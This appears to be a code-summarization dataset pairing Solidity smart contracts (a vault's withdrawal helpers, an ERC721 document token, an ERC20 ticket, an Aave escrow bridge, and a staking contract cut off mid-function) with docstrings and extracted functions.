share.mul(total).div(shareSupply); newAssetBalance = total.sub(withdrawAmount); newShareSupply = shareSupply.sub(share); } /** * @notice Returns the max withdrawable shares for all users in the vault */ function maxWithdrawableShares() public view returns (uint256) { uint256 withdrawableBalance = assetBalance(); uint256 total = lockedAmount.add(withdrawableBalance); return withdrawableBalance.mul(totalSupply()).div(total).sub( MINIMUM_SUPPLY ); } /** * @notice Returns the max amount withdrawable by an account using the account's vault share balance * @param account is the address of the vault share holder * @return amount of `asset` withdrawable from vault, with fees accounted */ function maxWithdrawAmount(address account) external view returns (uint256) { uint256 maxShares = maxWithdrawableShares(); uint256 share = balanceOf(account); uint256 numShares = min(maxShares, share); (uint256 withdrawAmount, , ) = _withdrawAmountWithShares(numShares, assetBalance()); return withdrawAmount; } /** * @notice Returns the number of shares for a given `assetAmount`. * Used by the frontend to calculate withdraw amounts. * @param assetAmount is the asset amount to be withdrawn * @return share amount */ function assetAmountToShares(uint256 assetAmount) external view returns (uint256) { uint256 total = lockedAmount.add(assetBalance()); return assetAmount.mul(totalSupply()).div(total); } /** * @notice Returns an account's balance on the vault * @param account is the address of the user * @return vault balance of the user */ function accountVaultBalance(address account) external view returns (uint256) { (uint256 withdrawAmount, , ) = _withdrawAmountWithShares(balanceOf(account), assetBalance()); return withdrawAmount; } /** * @notice Returns the vault's total balance, including the amounts locked into a short position * @return total balance of the vault, including the amounts locked in third party protocols */ function totalBalance() public view returns (uint256) { return lockedAmount.add(IERC20(asset).balanceOf(address(this))); } /** * @notice Returns the asset balance on the vault. This balance is freely withdrawable by users. */ function assetBalance() public view returns (uint256) { return IERC20(asset).balanceOf(address(this)); } /** * @notice Returns the token decimals */ function decimals() public view override returns (uint8) { return _decimals; } /** * @notice Only allows manager to execute a function */ modifier onlyManager { require(msg.sender == manager, "Only manager"); _; } }
Returns the max amount withdrawable by an account using the account's vault share balance account is the address of the vault share holder return amount of `asset` withdrawable from vault, with fees accounted/
function maxWithdrawAmount(address account) external view returns (uint256) { uint256 maxShares = maxWithdrawableShares(); uint256 share = balanceOf(account); uint256 numShares = min(maxShares, share); (uint256 withdrawAmount, , ) = _withdrawAmountWithShares(numShares, assetBalance()); return withdrawAmount; }
535,976
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; /** * @title ERC 721 used by SAV Doc contract to secure document * @dev All functions are called by the SaveDoc contract */ contract SaveDocToken is ERC721URIStorage, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIDs; /** * @dev Create new ERC721 */ constructor() ERC721("SaveDoc", "SDT") {} /** * @dev mint new token * @param owner owner of token * @param tokenURI URI of token * @return ID of token */ function mint(address owner, string memory tokenURI) external onlyOwner() returns(uint) { _tokenIDs.increment(); uint256 newItemID = _tokenIDs.current(); _safeMint(owner, newItemID); _setTokenURI(newItemID, tokenURI); return newItemID; } /** * @dev Set Token URI * @param tokenID ID of token * @param tokenURI URI of token * @param ownerToken owner of token */ function setTokenURI(uint256 tokenID, string memory tokenURI, address ownerToken) onlyOwner() external { require(ownerOf(tokenID) == ownerToken, "SaveDocToken: Cet NFT ne vous appartient pas !"); _setTokenURI(tokenID, tokenURI); } /** * @dev Burn a token * @param tokenID ID of token * @param ownerToken owner of token */ function burn(uint256 tokenID, address ownerToken) onlyOwner() external { require(ownerOf(tokenID) == ownerToken, "SaveDocToken: Cet NFT ne vous appartient pas !"); _burn(tokenID); } /** * @notice * @dev Transfer a token * @param from owner of token * @param to new owner * @param tokenID ID of token */ function transfer(address from, address to, uint256 tokenID) public onlyOwner() { _transfer(from, to, tokenID); } /** * @dev Check if token exists * @param tokenID ID of token * @return trus if token exists */ function exist(uint256 tokenID) view onlyOwner() external returns(bool) { return _exists(tokenID); } }
Burn a token tokenID ID of token ownerToken owner of token/
function burn(uint256 tokenID, address ownerToken) onlyOwner() external { require(ownerOf(tokenID) == ownerToken, "SaveDocToken: Cet NFT ne vous appartient pas !"); _burn(tokenID); }
999,911
// SPDX-License-Identifier: MIT pragma solidity >=0.8.9; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; /** * @title Hashland Ticket * @author HASHLAND-TEAM * @notice This Contract Supply HT */ contract HT is ERC20, AccessControlEnumerable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /** * @param minter Initialize Minter Role */ constructor(address minter) ERC20("Hashland Ticket", "HT") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, minter); } /** * @dev Create New tokens to an Address */ function mint(address receiver, uint256 tokens) external onlyRole(MINTER_ROLE) { _mint(receiver, tokens); } }
Create New tokens to an Address/
function mint(address receiver, uint256 tokens) external onlyRole(MINTER_ROLE) { _mint(receiver, tokens); }
6,408,023
// BloomAaveBridge.sol // MIT License // Copyright (c) 2020 Rob Secord <robsecord.eth> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity 0.5.16; import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC165.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "./aave/IAToken.sol"; import "./aave/ILendingPool.sol"; import "./aave/ILendingPoolAddressesProvider.sol"; import "./lib/IBloomBridge.sol"; import "./lib/TokenSmartWallet.sol"; contract IOwnable { function owner() public view returns (address); } contract INonFungible { function ownerOf(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) external view returns (bool); } contract IBloomERC1155 { function getTypeCreator(uint256 _type) public view returns (address); } /** * @notice Bloom Escrow Contract */ contract BloomAaveBridge is Initializable, Ownable, ReentrancyGuard, IBloomBridge { using SafeMath for uint256; uint256 constant internal DEPOSIT_MODIFIER = 1e4; // 10000 (100%) uint256 constant internal MIN_RESERVE_RATIO = 2e3; // 2000 (20%) uint256 constant internal TYPE_NF_BIT = 1 << 255; // ERC1155 Common Non-fungible Token Bit uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128; // ERC1155 Common Non-fungible Type Mask bytes4 constant internal INTERFACE_SIGNATURE_ERC721 = 0x80ac58cd; bytes4 constant internal INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; /***********************************| | Variables/Events/Modifiers | |__________________________________*/ ILendingPoolAddressesProvider internal lendingPoolProvider; ILendingPool internal lendingPool; // The Bloom Controller Contract Address address internal bloom; // The Bloom ERC1155 Token Contract Address address internal bloomTokenMgr; // Contract Interface to Asset Token address internal assetToken; // Contract Interface to Interest-bearing Token address internal interestToken; // Template Contract for creating Token Smart-Wallet Bridges address internal tokenWalletTemplate; // TokenID => Token Smart-Wallet Bridge Address // TypeID => Type-Creator Smart-Wallet Bridge Address mapping (uint256 => address) internal bridge; // TypeID => Owner Membership TokenID mapping (uint256 => uint256) internal typeMemberTokenId; // The Membership NFT that controls the Coupon Type // TypeID => Reserve-Ratio of the Type mapping (uint256 => uint256) internal typeReserveRatio; // Amount to be held in reserve for the Token to accrue interest // TokenID => Coupon Type ID mapping (uint256 => uint256) internal tokenTypeId; // Token Deposit Fee uint256 public depositFee; // // Events // event NewTokenSmartWallet(uint256 indexed tokenId, address indexed bridge); event CouponDeposit(uint256 indexed tokenId, uint256 assetAmount, uint256 aTokenAmount); event CouponRedeem(uint256 indexed tokenId, uint256 assetAmount); event CouponReleased(uint256 indexed tokenId, address indexed receiver); event ContractFeesWithdrawn(address indexed receiver); // // Modifiers // /// @dev Throws if called by any account other than a Bridge contract. modifier onlyBridge(uint256 _typeId) { require(bridge[_typeId] == msg.sender, "BloomAaveBridge: ONLY_BRIDGE"); _; } /// @dev Throws if called by any account other than the Bloom Controller contract modifier onlyBloom() { require(bloom == msg.sender, "BloomAaveBridge: ONLY_BLOOM"); _; } /***********************************| | Initialization | |__________________________________*/ function initialize(address _sender) public initializer { Ownable.initialize(_sender); ReentrancyGuard.initialize(); tokenWalletTemplate = address(new TokenSmartWallet()); } /***********************************| | Public | |__________________________________*/ function getAssetTokenAddress() external returns (address) { return assetToken; } function getInterestTokenAddress() external returns (address) { return interestToken; } function getMemberTokenIdByType(uint256 _typeId) external returns (uint256) { return typeMemberTokenId[_typeId]; } /** * @notice Gets the Principal-Amount of Assets held in the Token * @param _tokenId The ID of the Token * @return The Principal-Amount of the Token */ function getPrincipal(uint256 _tokenId) public returns (uint256) { if (bridge[_tokenId] == address(0x0)) { return 0; } return TokenSmartWallet(bridge[_tokenId]).getPrincipal(); } /** * @notice Gets the Interest-Amount that the Token has generated * @param _tokenId The ID of the Token * @return The Interest-Amount of the Token */ function getInterest(uint256 _tokenId) public returns (uint256) { if (bridge[_tokenId] == address(0x0)) { return 0; } return TokenSmartWallet(bridge[_tokenId]).getInterest(); } /** * @notice Gets the Available Balance of Assets held in the Token * @param _tokenId The ID of the Token * @return The Available Balance of the Token */ function getBalance(uint256 _tokenId) public returns (uint256) { if (bridge[_tokenId] == address(0x0)) { return 0; } return TokenSmartWallet(bridge[_tokenId]).getBalance(); } /** * @notice Register a Coupoon Type and Associate with Membership NFT * @param _typeId The ID of the Coupon Type * @param _memberTokenId The ID of the Membership NFT creating the Type * @param _reserveRatio The Ratio of Assets held in Reserve for the Coupon * @return The address of the Member-Smart-Wallet */ function registerType( uint256 _typeId, uint256 _memberTokenId, uint256 _reserveRatio ) external onlyBloom returns (address) { require(typeMemberTokenId[_typeId] == 0, "BloomAaveBridge: TYPE_REGISTERED"); require(_memberTokenId > 0, "BloomAaveBridge: INVALID_MEMBER_TOKEN"); typeMemberTokenId[_typeId] = _memberTokenId; typeReserveRatio[_typeId] = _reserveRatio; // Create Smart-Wallet for Coupon-Type owned by Membership NFT address _memberWallet = _createTokenWallet(_memberTokenId); bridge[_memberTokenId] = _memberWallet; return _memberWallet; } /** * @notice Creates a New Token-Smart-Wallet for the Coupon NFT of the specified Type * @param _typeId The ID of the Coupon Type * @param _tokenId The ID of the Coupon NFT * @return The address of the Token-Smart-Wallet */ function createCoupon( uint256 _typeId, uint256 _tokenId ) external onlyBloom returns (address) { require(bridge[_tokenId] == address(0x0), "BloomAaveBridge: TOKEN_BRIDGE_EXISTS"); // Create Smart-Wallet for NFT address _tokenWallet = _createTokenWallet(_tokenId); bridge[_tokenId] = _tokenWallet; tokenTypeId[_tokenId] = _typeId; return _tokenWallet; } /** * @notice Fund NFT with Asset Token * Must be called by the Owner providing the Asset * Owner must Approve THIS contract as Operator of Asset * * @param _tokenId The ID of the Token to Energize * @param _assetAmount The Amount of Asset Token to Energize the Token with * @return The amount of Interest-bearing Tokens added to the escrow for the Token */ function deposit( uint256 _tokenId, uint256 _assetAmount ) external onlyBloom returns (uint256) { require(bridge[_tokenId] != address(0x0), "BloomAaveBridge: INVALID_TOKEN_BRIDGE"); address _self = address(this); IERC20 _assetToken = IERC20(assetToken); IERC20 _interestToken = IERC20(interestToken); // Collect Asset Token (reverts on fail) _collectAssetToken(msg.sender, _assetAmount); // Approve LendingPool contract to transfer Assets _assetToken.approve(lendingPoolProvider.getLendingPoolCore(), _assetAmount); // Deposit Assets into Aave uint256 _preBalance = _interestToken.balanceOf(_self); lendingPool = ILendingPool(lendingPoolProvider.getLendingPool()); lendingPool.deposit(assetToken, _assetAmount, 0); uint256 _postBalance = _interestToken.balanceOf(_self); // Calculate Reserve-Amount for Coupon NFT // Calculate Payment-Amount for Membership NFT uint256 _tokenTypeId = tokenTypeId[_tokenId]; uint256 _memberTokenId = typeMemberTokenId[_tokenTypeId]; uint256 _reserveRatio = typeReserveRatio[_tokenTypeId]; uint256 _transferedAmount = _postBalance.sub(_preBalance); uint256 _tokenAmount = _transferedAmount; // TODO: calculate amount for token-reserve uint256 _remainingAmount = _transferedAmount.sub(_tokenAmount); // TODO: Take "depositFee" // Transfer ATokens into Smart-Wallet of Coupon NFT _interestToken.transfer(bridge[_tokenId], _tokenAmount); // Transfer ATokens into Smart-Wallet of Membership NFT _interestToken.transfer(bridge[_memberTokenId], _remainingAmount); // Log Event emit CouponDeposit(_tokenId, _assetAmount, _transferedAmount); // Return amount of Interest-bearing Token transfered return _transferedAmount; } /** * @notice Redeems a portion of the Assets held within the NFT * @param _tokenId The ID of the Token to Release * @param _amount The Amount of Assets to Redeem */ function redeem( uint256 _tokenId, uint256 _amount ) external onlyBloom { require(_amount > 0 && getPrincipal(_tokenId) >= _amount, "BloomAaveBridge: INSUFF_BALANCE"); // Redeem a portion of the Coupon _redeemCoupon(_tokenId, _amount); // Log Event emit CouponRedeem(_tokenId, _amount); } /** * @notice Releases the Full amount of Asset + Interest held within a Coupon or Membership NFT * @param _receiver The Address to Receive the Released Asset Tokens * @param _tokenId The ID of the Token to Release * @return The Total Amount of Asset Token Released including all converted Interest */ function release( address _receiver, uint256 _tokenId ) external onlyBloom returns (uint256) { require(getPrincipal(_tokenId) > 0, "BloomAaveBridge: NO_BALANCE"); // Log Event emit CouponReleased(_tokenId, _receiver); // Release NFT to Receiver return _payoutFull(_tokenId, _receiver); } /***********************************| | Only Admin/DAO | |__________________________________*/ function setAddresses(address _bloom, address _aaveLendingProvider, address _assetToken, address _interestToken) external onlyOwner { bloomTokenMgr = _bloom; lendingPoolProvider = ILendingPoolAddressesProvider(address(_aaveLendingProvider)); assetToken = _assetToken; // DAI interestToken = _interestToken; // aDAI } /** * @dev Setup the Base Deposit Fee for the Escrow */ function setDepositFee(uint256 _depositFee) external onlyOwner { depositFee = _depositFee; } /** * @dev Allows Escrow Contract Owner/DAO to withdraw any fees earned */ function withdrawFees(address _receiver) external onlyOwner { // TODO... // Should redirect fees on "deposit" into an Owner-Smart-Wallet and use "_payoutFull" to withdraw? // - Needs an Owner NFT minted emit ContractFeesWithdrawn(_receiver); } /***********************************| | Private Functions | |__________________________________*/ /** * @dev Collects the Required Asset Token from the users wallet */ function _collectAssetToken(address _from, uint256 _assetAmount) internal { IERC20 _assetToken = IERC20(assetToken); uint256 _userAssetBalance = _assetToken.balanceOf(_from); require(_assetAmount <= _userAssetBalance, "BloomAaveBridge: INSUFF_FUNDS"); require(_assetToken.transferFrom(_from, address(this), _assetAmount), "BloomAaveBridge: TRANSFER_FAILED"); // Be sure to Approve this Contract to transfer your Asset Token } /** * @dev Redeems the Coupons Assets to the Coupon-Type Creator (stays in yield-token until withdrawn) */ function _redeemCoupon(uint256 _tokenId, uint256 _assetAmount) internal { IERC20 _interestToken = IERC20(interestToken); uint256 _memberTokenId = typeMemberTokenId[tokenTypeId[_tokenId]]; // Transfer aTokens from Token-Smart-Wallet to Smart-Wallet of Type-Creator address _from = bridge[_tokenId]; address _to = bridge[_memberTokenId]; require(_interestToken.transferFrom(_from, _to, _assetAmount), "BloomAaveBridge: REDEEM_FAILED"); } /** * @dev Pays out the full amount of the Assets + Interest in the underlying asset-token */ function _payoutFull(uint256 _tokenId, address _receiver) internal returns (uint256) { address _self = address(this); IERC20 _assetToken = IERC20(assetToken); IERC20 _interestToken = IERC20(interestToken); IAToken _aToken = IAToken(interestToken); address _from = bridge[_tokenId]; uint256 _fullBalance = getBalance(_tokenId); // Transfer aTokens from Token-Smart-Wallet to Contract uint256 _preBalance = _interestToken.balanceOf(_self); require(_interestToken.transferFrom(_from, _self, _fullBalance), "BloomAaveBridge: PAYOUT_FAILED"); uint256 _postBalance = _interestToken.balanceOf(_self); uint256 _redeemAmount = _postBalance.sub(_preBalance); // Redeem aTokens for Asset Tokens require(_aToken.isTransferAllowed(_self, _redeemAmount), "BloomAaveBridge: PAYOUT_NOT_ALLOWED"); _preBalance = _assetToken.balanceOf(_self); _aToken.redeem(_redeemAmount); _postBalance = _assetToken.balanceOf(_self); uint256 _redeemedAssets = _postBalance.sub(_preBalance); // Transfer Assets to Receiver require(_assetToken.transfer(_receiver, _redeemedAssets), "BloomAaveBridge: PAYOUT_TRANSFER_FAILED"); return _redeemedAssets; } /** * @dev Creates an ERC20 Token Bridge Contract to interface with the ERC1155 Contract */ function _createTokenWallet( uint256 _tokenId ) internal returns (address) { require(bridge[_tokenId] == address(0), "BloomAaveBridge: INVALID_TOKEN_ID"); address newBridge = _createClone(tokenWalletTemplate); TokenSmartWallet(newBridge).initialize(_tokenId, interestToken); bridge[_tokenId] = newBridge; emit NewTokenSmartWallet(_tokenId, newBridge); return newBridge; } /** * @dev Creates Contracts from a Template via Cloning * see: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1167.md */ function _createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } }
Redeems a portion of the Assets held within the NFT _tokenId The ID of the Token to Release _amount The Amount of Assets to Redeem/ Redeem a portion of the Coupon Log Event
function redeem( uint256 _tokenId, uint256 _amount ) external onlyBloom { require(_amount > 0 && getPrincipal(_tokenId) >= _amount, "BloomAaveBridge: INSUFF_BALANCE"); _redeemCoupon(_tokenId, _amount); emit CouponRedeem(_tokenId, _amount); }
6,386,153
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import './bases/staking/StakingRewards.sol'; import './bases/BaseTokenUpgradeable.sol'; import './bases/staking/interfaces/IOriginatorStaking.sol'; import '../reserve/IReserve.sol'; import '../utils/SafeMathUint128.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; /** * @title OriginatorStaking * @notice Contract to stake Originator Hub tokens, tokenize the position and get rewards, inheriting from a distribution manager contract * @author Aave / Ethichub **/ contract OriginatorStaking is Initializable, StakingRewards, BaseTokenUpgradeable, IStaking, IProjectFundedRewards, IOriginatorManager { using SafeERC20Upgradeable for IERC20Upgradeable; using SafeMathUpgradeable for uint256; using SafeMathUint128 for uint128; enum OriginatorStakingState { UNINITIALIZED, STAKING, STAKING_END, DEFAULT } OriginatorStakingState public state; IERC20Upgradeable public STAKED_TOKEN; /// @notice IReserve to pull from the rewards, needs to have this contract as WITHDRAW role IReserve public REWARDS_VAULT; bytes32 public constant GOVERNANCE_ROLE = keccak256('GOVERNANCE_ROLE'); uint256 public stakingGoal; uint256 public defaultedAmount; mapping(address => uint256) public stakerRewardsToClaim; bytes32 public constant ORIGINATOR_ROLE = keccak256('ORIGINATOR_ROLE'); bytes32 public constant AUDITOR_ROLE = keccak256('AUDITOR_ROLE'); uint256 public DEFAULT_DATE; mapping(bytes32 => uint256) public proposerBalances; event StateChange(uint256 state); event Staked(address indexed from, address indexed onBehalfOf, uint256 amount); event Redeem(address indexed from, address indexed to, uint256 amount); event Withdraw(address indexed proposer, uint256 amount); event RewardsAccrued(address user, uint256 amount); event RewardsClaimed(address indexed from, address indexed to, uint256 amount); event StartRewardsProjectFunded(uint128 previousEmissionPerSecond, uint128 extraEmissionsPerSecond, address lendingContractAddress); event EndRewardsProjectFunded(uint128 restoredEmissionsPerSecond, uint128 extraEmissionsPerSecond, address lendingContractAddress); modifier onlyGovernance() { require(hasRole(GOVERNANCE_ROLE, msg.sender), 'ONLY_GOVERNANCE'); _; } modifier onlyEmissionManager() { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); _; } modifier onlyOnStakingState() { require(state == OriginatorStakingState.STAKING, 'ONLY_ON_STAKING_STATE'); _; } modifier notZeroAmount(uint256 _amount) { require(_amount > 0, 'INVALID_ZERO_AMOUNT'); _; } function initialize( string memory _name, string memory _symbol, IERC20Upgradeable _lockedToken, IReserve _rewardsVault, address _emissionManager, uint128 _distributionDuration ) public initializer { __BaseTokenUpgradeable_init( msg.sender, 0, _name, _symbol, _name ); __StakingRewards_init(_emissionManager, _distributionDuration); STAKED_TOKEN = _lockedToken; REWARDS_VAULT = _rewardsVault; _changeState(OriginatorStakingState.UNINITIALIZED); } /** * @notice Function to set up proposers (originator and auditor) * in proposal period. * @param _auditor address * @param _originator address * @param _auditorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _originatorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _stakingGoal uint256 wei amount in Ethix * @param _defaultDelay uint256 seconds */ function setUpTerms( address _auditor, address _originator, address _governance, uint256 _auditorPercentage, uint256 _originatorPercentage, uint256 _stakingGoal, uint256 _defaultDelay ) external override notZeroAmount(_stakingGoal) onlyEmissionManager { require(_auditor != _originator, 'PROPOSERS_CANNOT_BE_THE_SAME'); require(_auditorPercentage != 0 && _originatorPercentage != 0, 'INVALID_PERCENTAGE_ZERO'); require(state == OriginatorStakingState.UNINITIALIZED, 'ONLY_ON_UNINITILIZED_STATE'); _setupRole(AUDITOR_ROLE, _auditor); _setupRole(ORIGINATOR_ROLE, _originator); _setupRole(GOVERNANCE_ROLE, _governance); _depositProposer(_auditor, _auditorPercentage, _stakingGoal); _depositProposer(_originator, _originatorPercentage, _stakingGoal); stakingGoal = _stakingGoal; DEFAULT_DATE = _defaultDelay.add(DISTRIBUTION_END); _changeState(OriginatorStakingState.STAKING); } /** * @notice Function to renew terms in STAKING_END or DEFAULT period. * @param _newAuditorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _newOriginatorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _newStakingGoal uint256 wei amount in Ethix * @param _newDistributionDuration uint128 seconds (e.g. 365 days == 31536000) * @param _newDefaultDelay uint256 seconds (e.g 90 days == 7776000) */ function renewTerms( uint256 _newAuditorPercentage, uint256 _newOriginatorPercentage, uint256 _newStakingGoal, uint128 _newDistributionDuration, uint256 _newDefaultDelay) external override notZeroAmount(_newStakingGoal) onlyGovernance { require(state == OriginatorStakingState.STAKING_END || state == OriginatorStakingState.DEFAULT, 'INVALID_STATE'); DISTRIBUTION_END = block.timestamp.add(_newDistributionDuration); _depositProposer(getRoleMember(AUDITOR_ROLE, 0), _newAuditorPercentage, _newStakingGoal); _depositProposer(getRoleMember(ORIGINATOR_ROLE, 0), _newOriginatorPercentage, _newStakingGoal); stakingGoal = _newStakingGoal; DEFAULT_DATE = _newDefaultDelay.add(DISTRIBUTION_END); _changeState(OriginatorStakingState.STAKING); } /** * @notice Function to stake tokens * @param _onBehalfOf Address to stake to * @param _amount Amount to stake **/ function stake(address _onBehalfOf, uint256 _amount) external override notZeroAmount(_amount) onlyOnStakingState { require(!hasReachedGoal(), 'GOAL_HAS_REACHED'); if (STAKED_TOKEN.balanceOf(address(this)).add(_amount) > stakingGoal) { _amount = stakingGoal.sub(STAKED_TOKEN.balanceOf(address(this))); } uint256 balanceOfUser = balanceOf(_onBehalfOf); uint256 accruedRewards = _updateUserAssetInternal(_onBehalfOf, address(this), balanceOfUser, totalSupply()); if (accruedRewards != 0) { emit RewardsAccrued(_onBehalfOf, accruedRewards); stakerRewardsToClaim[_onBehalfOf] = stakerRewardsToClaim[_onBehalfOf].add(accruedRewards); } _mint(_onBehalfOf, _amount); IERC20Upgradeable(STAKED_TOKEN).safeTransferFrom(msg.sender, address(this), _amount); emit Staked(msg.sender, _onBehalfOf, _amount); } /** * @dev Redeems staked tokens, and stop earning rewards * @param _to Address to redeem to * @param _amount Amount to redeem **/ function redeem(address _to, uint256 _amount) external override notZeroAmount(_amount) { require(_checkRedeemEligibilityState(), 'WRONG_STATE'); require(balanceOf(msg.sender) != 0, 'SENDER_BALANCE_ZERO'); uint256 balanceOfMessageSender = balanceOf(msg.sender); uint256 amountToRedeem = (_amount > balanceOfMessageSender) ? balanceOfMessageSender : _amount; _updateCurrentUnclaimedRewards(msg.sender, balanceOfMessageSender, true); _burn(msg.sender, amountToRedeem); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(_to, amountToRedeem); emit Redeem(msg.sender, _to, amountToRedeem); } /** * @notice method to withdraw deposited amount. * @param _amount Amount to withdraw */ function withdrawProposerStake(uint256 _amount) external override { require(state == OriginatorStakingState.STAKING_END, 'ONLY_ON_STAKING_END_STATE'); bytes32 senderRole = 0x00; if (msg.sender == getRoleMember(ORIGINATOR_ROLE, 0)) { senderRole = ORIGINATOR_ROLE; } else if (msg.sender == getRoleMember(AUDITOR_ROLE, 0)) { senderRole = AUDITOR_ROLE; } else { revert('WITHDRAW_PERMISSION_DENIED'); } require(proposerBalances[senderRole] != 0, 'INVALID_ZERO_AMOUNT'); uint256 amountToWithdraw = (_amount > proposerBalances[senderRole]) ? proposerBalances[senderRole] : _amount; proposerBalances[senderRole] = proposerBalances[senderRole].sub(amountToWithdraw); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(msg.sender, amountToWithdraw); emit Withdraw(msg.sender, amountToWithdraw); } /** * @dev Claims an `amount` from Rewards reserve to the address `to` * @param _to Address to stake for * @param _amount Amount to stake **/ function claimRewards(address payable _to, uint256 _amount) external override { uint256 newTotalRewards = _updateCurrentUnclaimedRewards(msg.sender, balanceOf(msg.sender), false); uint256 amountToClaim = (_amount == type(uint256).max) ? newTotalRewards : _amount; stakerRewardsToClaim[msg.sender] = newTotalRewards.sub(amountToClaim, 'INVALID_AMOUNT'); require(REWARDS_VAULT.transfer(_to, amountToClaim), 'ERROR_TRANSFER_FROM_VAULT'); emit RewardsClaimed(msg.sender, _to, amountToClaim); } /** * Function to add an extra emissions per second corresponding to staker rewards when a lending project by this originator * is funded. * @param _extraEmissionsPerSecond emissions per second to be added to current ones. * @param _lendingContractAddress lending contract address is relationated with this rewards */ function startProjectFundedRewards(uint128 _extraEmissionsPerSecond, address _lendingContractAddress) external override onlyOnStakingState { AssetData storage currentDistribution = assets[address(this)]; uint128 currentEmission = currentDistribution.emissionPerSecond; uint128 newEmissionsPerSecond = currentDistribution.emissionPerSecond.add(_extraEmissionsPerSecond); DistributionTypes.AssetConfigInput[] memory newAssetConfig = new DistributionTypes.AssetConfigInput[](1); newAssetConfig[0] = DistributionTypes.AssetConfigInput({ emissionPerSecond: newEmissionsPerSecond, totalStaked: totalSupply(), underlyingAsset: address(this) }); configureAssets(newAssetConfig); emit StartRewardsProjectFunded(currentEmission, _extraEmissionsPerSecond, _lendingContractAddress); } /** * Function to end extra emissions per second corresponding to staker rewards when a lending project by this originator * is funded. * @param _extraEmissionsPerSecond emissions per second to be added to current ones. * @param _lendingContractAddress lending contract address is relationated with this rewards. */ function endProjectFundedRewards(uint128 _extraEmissionsPerSecond, address _lendingContractAddress) external override onlyOnStakingState { AssetData storage currentDistribution = assets[address(this)]; uint128 currentEmission = currentDistribution.emissionPerSecond; uint128 newEmissionsPerSecond = currentDistribution.emissionPerSecond.sub(_extraEmissionsPerSecond); DistributionTypes.AssetConfigInput[] memory newAssetConfig = new DistributionTypes.AssetConfigInput[](1); newAssetConfig[0] = DistributionTypes.AssetConfigInput({ emissionPerSecond: newEmissionsPerSecond, totalStaked: totalSupply(), underlyingAsset: address(this) }); configureAssets(newAssetConfig); emit EndRewardsProjectFunded(currentEmission, _extraEmissionsPerSecond, _lendingContractAddress); } /** * @notice Amount to substract of the contract when state is default * @param _amount amount to substract * @param _role role to substract the amount (Originator, Auditor) */ function liquidateProposerStake(uint256 _amount, bytes32 _role) external override notZeroAmount(_amount) onlyGovernance { require(state == OriginatorStakingState.DEFAULT, 'ONLY_ON_DEFAULT'); require(_role == AUDITOR_ROLE || _role == ORIGINATOR_ROLE, 'INVALID_PROPOSER_ROLE'); proposerBalances[_role] = proposerBalances[_role].sub(_amount, 'INVALID_LIQUIDATE_AMOUNT'); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(msg.sender, _amount); } /** * @notice Function to declare contract on staking end state * Only governance could change to this state **/ function declareStakingEnd() external override onlyGovernance onlyOnStakingState { _endDistributionIfNeeded(); _changeState(OriginatorStakingState.STAKING_END); } /** * @notice Function to declare as DEFAULT * @param _defaultedAmount uint256 **/ function declareDefault(uint256 _defaultedAmount) external override onlyGovernance onlyOnStakingState { require(block.timestamp >= DEFAULT_DATE, 'DEFAULT_DATE_NOT_REACHED'); defaultedAmount = _defaultedAmount; _endDistributionIfNeeded(); _changeState(OriginatorStakingState.DEFAULT); } /** * @dev Return the total rewards pending to claim by an staker * @param _staker The staker address * @return The rewards */ function getTotalRewardsBalance(address _staker) external override view returns (uint256) { 